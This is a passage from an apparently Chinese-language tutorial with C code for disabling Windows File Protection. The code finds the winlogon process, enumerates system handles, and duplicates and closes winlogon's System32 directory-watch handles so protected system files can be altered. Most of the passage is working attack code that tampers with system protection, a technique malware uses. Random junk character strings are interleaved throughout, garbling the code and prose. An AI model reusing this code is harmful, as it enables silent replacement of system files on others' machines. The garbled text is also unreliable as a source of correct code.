/ }( W# E4 D! ylpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2); 3 ]. J) p1 N3 h$ z7 F3 b' V$ ?' N" W/ i0 z; `: n2 f% v
if (lpdwPIDs == NULL) / l6 @ ? M3 e, t; \4 G6 K6 X5 L
return FALSE; , h* M+ ~+ {& y8 f 8 b0 u' p) V$ n$ O/ e. m6 a B0 oif (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize))+ T9 g0 y" r# t
return FALSE; 0 ]" y9 N9 K. ^: A4 y# _5 G3 C9 Q- a$ @, z$ n. U
} while (dwSize == dwSize2);0 ]6 S6 K( C! {) G; U, m
- G2 [, s$ z4 y) J
dwSize /= sizeof(DWORD);* l, j& r2 i' z4 s
9 t/ N, h7 l$ F3 ^5 C ^* h
for (dwIndex = 0; dwIndex < dwSize; dwIndex++) - g" Z- L3 V5 q! T( d" B{ 0 s9 R" u* `# m8 t/ D& `4 H1 YBuffer[0] = 0;/ D6 A' n9 p' g* p W: Q* G* ]
4 ^8 n9 ^+ a% u. d" _hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | , J _3 j. J) H; w. b& q* c; \( ZPROCESS_VM_READ, FALSE, lpdwPIDs[dwIndex]); 4 s+ C0 L5 Z! {9 u3 ?* Q 5 x; y$ D' B! O) g2 iif (hProcess != NULL) & o5 i9 D% J+ F) N3 n{ 5 t. l& I* C2 M. N B/ _if (pEnumProcessModules(hProcess, &hMod, . ^: Q1 l8 n* jsizeof(hMod), &dwSize2)) $ u9 e7 L5 W& t" |/ f
{; d* _6 i) H* j" H7 {
if (!pGetModuleFileNameExW(hProcess, hMod, " ?9 U: F" M' n# ^- i: v7 IBuffer, sizeof(Buffer))) ) t6 j9 E" L! f/ }6 N& s: z{0 Y0 T5 y! }" ^ j
CloseHandle(hProcess);1 o0 x- P; f( O2 w& G
continue; 3 n- f+ K: [7 a: `} 0 r% d% s* b$ B& f4 g} : I1 d. e5 k6 Z( Selse * t9 B9 g8 G7 x! w) V0 R{ 5 {& R1 c; |; _CloseHandle(hProcess); 2 ^+ j3 h9 ?* c t& j5 `6 ycontinue;9 V/ t. F# m W6 K5 S. {) ^7 [
}- [4 V% r7 S# Y- V
2 n# x0 B! T& s) @; @( E! q$ k
if (Buffer[0] != 0) - R. Y2 R$ r- l{ 2 h" z- m( \2 s6 U9 I" X6 E- S1 \3 b- [
GetFileName(Buffer); 5 T. g! s! s8 i2 k9 M& u" I8 Z; H9 v2 u
if (CompareStringW(0, NORM_IGNORECASE, . Q F) ^. W1 c7 @ j8 C/ c, r
Buffer, -1, WinLogon, -1) == CSTR_EQUAL) 3 @ }) i, K4 p4 E/ R4 R" o' y{! M6 g% o; } w* A7 M* Z
// winlogon process found , F, k% B# V- dWinLogonId = lpdwPIDs[dwIndex];* X# U E& s& V* [# F' j' |! F
CloseHandle(hProcess);* X. s; r3 c& T/ s: t. d. P( c
break; 5 z. v# K3 w" H- y" z3 j} ' D5 e1 t2 X- V - y( m) y& S7 \dwLIndex++;2 C( N0 }* C' G% s
}$ V. T$ Q2 J( {1 z
5 x# c1 O: a, I5 H. z, N% T
CloseHandle(hProcess); " f- c z) V& |" \* [1 r# d} . P7 G, f J J b( y
& \5 @+ M( G0 M p# p}& ?# h0 Y( y- ]# n( ?2 y2 X
P, U4 ]3 z0 X7 Hif (lpdwPIDs) " D. U0 _/ B5 c- f4 MHeapFree(GetProcessHeap(), 0, lpdwPIDs); 2 [/ W$ C( u' F9 v " x3 ^2 {7 Q) l3 T& B s% _0 Y9 E- v6 o5 @% l: \3 \( o/ J4 f) f/ G5 \
现在我们有了进程ID,我们能够打开这个进程: 3 h* Z7 a- P' J# D% V& w1 v; c, w6 F- @0 V( {9 X' v+ r
hWinLogon = OpenProcess(PROCESS_DUP_HANDLE, 0, WinLogonId); : d5 K( _) b8 H. k) B" r1 M& Q3 S( h! {8 f6 w! q
if (hWinLogon == NULL)3 s1 h1 t6 r- z1 ]9 n
{ ; u' G5 F7 W7 ^5 Yreturn FALSE; 3 F' V m. A9 X5 y' m, n! r} - }6 ]* w7 C8 k% n$ W, C % \; [6 S, p9 Z3 f9 h! o为什么我用PROCESS_DUP_HANDLE?那是什么呢?我们需要这个标记使用函数复制句柄(ZwDuplicateObject如果它听起来你很熟悉),我们会一会看到我们需要这个函数做什么。现在:1 u+ E( }& ]( j' a$ F% f( G
7 {! V% N' B) ^' e
( W% b( v6 U) z2 J! unt = pNtQuerySystemInformation(SystemHandleInformation, NULL, 0, &uSize); 9 ]/ @3 X9 ?' C) r# d - W+ G8 g. K8 u% I* L. mwhile (nt == STATUS_INFO_LENGTH_MISMATCH) # A$ R6 }: E, P3 Y4 i9 ?/ z# L{ 5 G( @! d) W, ?# o# j! J) h
uSize += 0x1000; + l# s7 e) V( q7 Y6 Q) E& a: @6 R / r* `/ n4 e- ]" A' ]- Eif (pSystemHandleInfo) 8 g! b4 K s% R& Z# I' s
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE); * z! |1 w2 o. ^) P j4 F/ f* _" ]/ Q7 X0 Y: P4 T
pSystemHandleInfo = (PSYSTEMHANDLEINFO) VirtualAlloc(NULL, uSize, o1 r4 q) @1 \: H' \6 p; F, x/ {MEM_COMMIT, PAGE_READWRITE); + D5 A6 R4 r) z% j4 f' J+ z 6 q/ y6 A( i' t( K# n e) Xif (pSystemHandleInfo == NULL)5 d6 y7 D1 R9 C
{: H3 `" s' k+ W# k( o6 X6 F
CloseHandle(hWinLogon);/ O' a$ H, ~- s# x
return FALSE; 1 y( c8 t+ k P$ r& d5 o) t7 E}: t4 r" O5 S; A
8 [# _0 ]! Y7 {+ B& L8 Y+ y' ent = pNtQuerySystemInformation(SystemHandleInformation, ) A `- L4 F8 q, qpSystemHandleInfo, uSize, &uBuff); ; C' f, ~/ G/ `/ j& ~} Q. p7 {% S% ?$ p8 ^- P3 n ! ?0 `: G0 I N. gif (nt != STATUS_SUCCESS) ; E6 m ?( J; v/ v5 Y" l. h x. F{ 8 e E2 i4 Q$ E3 C( Z3 _- K+ TVirtualFree(pSystemHandleInfo, 0, MEM_RELEASE); ( i( B W% E3 g# O- m) M# u) M" FCloseHandle(hWinLogon); ' `; m" A9 @; |return FALSE;/ ?' ~7 a9 [1 _% \6 U' _8 F
} 4 d0 b! M. x, {" V& q+ r; \4 `) d/ }5 a" O# p
这段代码重新获得所有的系统范围打开句柄,包括那些Winlogon进程。让我们看看下面的步骤:5 c! j. g) g4 C. H2 y8 Q
, a. b# M) ?4 `7 \- W1)浏览所有打开的句柄检查那些属于Winlogon的 9 M" l) M6 x# \) n t k3 b9 ^1 e$ W4 P; P" F2)复制每一个Winlogon句柄到我们的进程用DuplicateHandle,一会它会给我们权限去请求句柄/目标 名字用NtQueryObject。 % F5 a5 @: h3 I: a+ O* j : h( t0 S( N& g f% X3 d3)如果这个目标名称是那些我们想要阻止监视目录中的一个,我们需要再次呼叫DuplicateHandle用DUPLICATE_CLOSE_SOURCE标记然后呼叫CloseHandle关闭damn句柄。7 ~! ?2 F+ X6 N9 v" l! b+ O$ z
0 Y$ ~1 p$ w. a/ v. |% Y前两点不需要太多解释,但是第三点不得不在使之更加清晰一些,我们不得不关闭关闭这些句柄就是每一个系统目录我们想要更改文件进去的。而且,禁止WFP,我们不得不至少禁止System32目录的监视。这个目录的目标名称是例如:Harddisk00\\Windows\\System32;因为我懒得去转换harddiskxx成为我们常用的比如C,我写了情形-忽略函数向后比较字符串: